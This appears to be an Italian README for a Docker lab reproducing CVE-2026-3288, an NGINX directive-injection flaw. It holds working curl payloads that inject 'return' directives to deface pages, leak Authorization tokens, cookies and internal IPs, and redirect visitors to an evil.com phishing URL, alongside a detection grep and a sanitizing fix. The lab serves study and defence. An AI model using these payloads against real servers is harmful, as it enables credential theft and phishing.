CVE-2026-3288-lab/
├── README.md                          # Questo file
├── docker-compose.yml                 # Configurazione principale del lab
├── docker/
│   ├── nginx/
│   │   ├── Dockerfile                # Configurazione NGINX vulnerabile
│   │   ├── nginx.conf                # Configurazione di base
│   │   └── vulnerable-config.conf    # Gestione vulnerabile del percorso
│   └── backend/
│       ├── Dockerfile                # Semplice applicazione backend
│       └── app.py                    # Applicazione Flask
├── exploits/
│   ├── exploit.py                    # Script di sfruttamento automatizzato
│   ├── payloads.txt                  # Raccolta di payload di sfruttamento
│   └── test-exploits.sh              # Testa tutti gli exploit
├── detection/
│   └── monitor-logs.sh               # Monitora i tentativi di sfruttamento
└── cleanup/
    └── cleanup.sh                    # Rimuove tutte le risorse del lab

cd CVE-2026-3288-lab

# Avvia l'ambiente vulnerabile
docker-compose up -d

# Controlla lo stato
docker-compose ps

# Testa che il backend sia in esecuzione
curl http://localhost:8080/

# Testa che NGINX sia in esecuzione
curl http://localhost/

cd exploits

# Sfruttamento automatizzato
python3 exploit.py --all

# Oppure testa i singoli exploit
bash test-exploits.sh

# Osserva i log NGINX per attività di sfruttamento
docker-compose logs -f nginx

# Monitora il rilevamento
cd detection
bash monitor-logs.sh

docker-compose down -v

/api" return 200 "HACKED BY ATTACKER

curl 'http://localhost/api" return 200 "HACKED'

/login" return 200 "Token: $http_authorization

curl -H "Authorization: Bearer secret123" 'http://localhost/login" return 200 "Token: $http_authorization'

/" return 302 "https://evil.com/phishing

curl -I 'http://localhost/" return 302 "https://evil.com/phishing'

/" return 200 "Internal IP: $server_addr

curl 'http://localhost/" return 200 "Internal IP: $server_addr'

/" return 200 "Cookies: $http_cookie

curl -H "Cookie: session=abc123" 'http://localhost/" return 200 "Cookies: $http_cookie'

# Configurazione vulnerabile
location ~ "^/api" {
    rewrite "(?i)/api" /backend break;
    proxy_pass http://backend;
}

# Input dell'attaccante: /api" return 200 "HACKED
# Risultato:
location ~ "^/api" return 200 "HACKED" {
    # La configurazione originale è ora rotta
}

# Cerca pattern sospetti
docker-compose logs nginx | grep -E '(return|rewrite|set).*"'

# Controlla la configurazione NGINX per direttive iniettate
docker exec cve-2026-3288-nginx cat /etc/nginx/nginx.conf | grep -A5 "location"

// Prima (vulnerabile)
path := location.Path
config := fmt.Sprintf(`rewrite "(?i)%s" %s break;`, path, target)

// Dopo (corretto)
path := sanitizeQuotedRegex(location.Path)
config := fmt.Sprintf(`rewrite "(?i)%s" %s break;`, path, target)

# Controlla i log
docker-compose logs

# Riavvia
docker-compose restart

# Cambia le porte in docker-compose.yml
# Oppure ferma i servizi in conflitto
sudo lsof -i :80

# Verifica che NGINX sia in esecuzione
docker-compose ps nginx

# Controlla la configurazione NGINX
docker exec cve-2026-3288-nginx nginx -t